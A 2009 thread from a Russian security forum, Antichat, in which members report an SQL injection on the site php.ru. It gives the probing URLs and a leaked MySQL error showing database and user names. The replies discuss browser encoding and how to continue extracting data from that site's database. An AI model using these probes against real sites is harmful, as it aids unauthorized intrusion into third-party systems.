ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

инъекция на php.ru
  #1  
Старый 08.01.2009, 18:04
Аватар для Iceangel_
Iceangel_
Members of Antichat - Level 5
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме:
7561206

Репутация: 1861


По умолчанию инъекция на php.ru

Код:
http://www.php.ru/?id=5'
Код:
OOPS Reported:
--------------------------------------------------------------------------------
Ошибка 2003: 
Ошибка выполнения SQL запроса.
--------------------------------------------------------------------------------
Дополнительная информация:
Host/Socket = localhost
User = php_ru_search
DataBase = php_ru_search
MySQL Error No = 1064
MySQL Error = You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'a:1:{s:8:"USERNAME";s:10:"Гость";}','')' at line 1
SQL = INSERT INTO oops_sessions (ID,UID,START,LAST,IPS,PAGES,PAGE,DATA,REFFER) VALUES ('ep9nbl4tnc2lh3us','0',1231422316,1231422316,'127.0.0.1,79.11.10.100',1,'/?id=5'','a:1:{s:8:"USERNAME";s:10:"Гость";}','')
CURRENT_PAGE = /index.html
URL = http://php.ru/
PROJECT = PHP.RU - форум PHP программистов !
странно, даже очень странно, что у меня в ИЕ и Опере пашет, а в Фаерфоксе нет...
 
Ответить с цитированием

  #2  
Старый 08.01.2009, 18:16
Аватар для w.u.n.
w.u.n.
Познающий
Регистрация: 13.12.2008
Сообщений: 54
Провел на форуме:
217810

Репутация: 80
По умолчанию

FF посылает запрос /?id=5%27
остальные /?id=5'
 
Ответить с цитированием

  #3  
Старый 08.01.2009, 19:20
Аватар для l1ght
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893

Репутация: 2163
По умолчанию

5 ветка, нет доступа к mysql, information_schema, форум в другой базе, доп.префикса нет
Цитата:
http://php.ru/forum/memberlist.php?mode=joined&order=ASC&start=-1
возможно есть права, осталось угадать имя бд для more1row)

Последний раз редактировалось l1ght; 08.01.2009 в 19:22..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Скуль инъекция gadjet Уязвимости 1 25.02.2006 11:11
Взлом БОЛЬШОГО БРАТА - tntbrat.ru. SQL - инъекция. Егорыч+++ Комментарии к видео 84 11.08.2005 20:23
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL инъекция в сервере MySQL k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ